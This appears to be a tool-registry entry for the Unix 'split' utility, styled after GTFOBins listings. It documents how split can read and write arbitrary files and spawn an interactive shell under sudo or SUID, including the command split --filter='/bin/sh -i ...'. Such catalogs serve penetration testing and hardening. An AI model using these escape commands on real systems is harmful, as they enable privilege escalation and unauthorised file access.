system enabled community medium v1.0.0

split

Split files into fixed-size pieces; can read and write files and spawn shells.

📋 Live Preview
split
split

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.read
system.file.write
security.privilege-escalation.shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Read arbitrary files (sudo, suid, unprivileged)

split -b 999 --additional-suffix suffix /path/to/input-file prefix
cat prefixaasuffix

Write to arbitrary files (sudo, suid, unprivileged)

split -b 999 --additional-suffix suffix /path/to/input-file prefix

Spawn an interactive shell (sudo, suid, unprivileged)

split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts

Documentation

split

split is a command-line utility. Split a file into pieces; can also read arbitrary files, write to arbitrary files, spawn an interactive shell.

References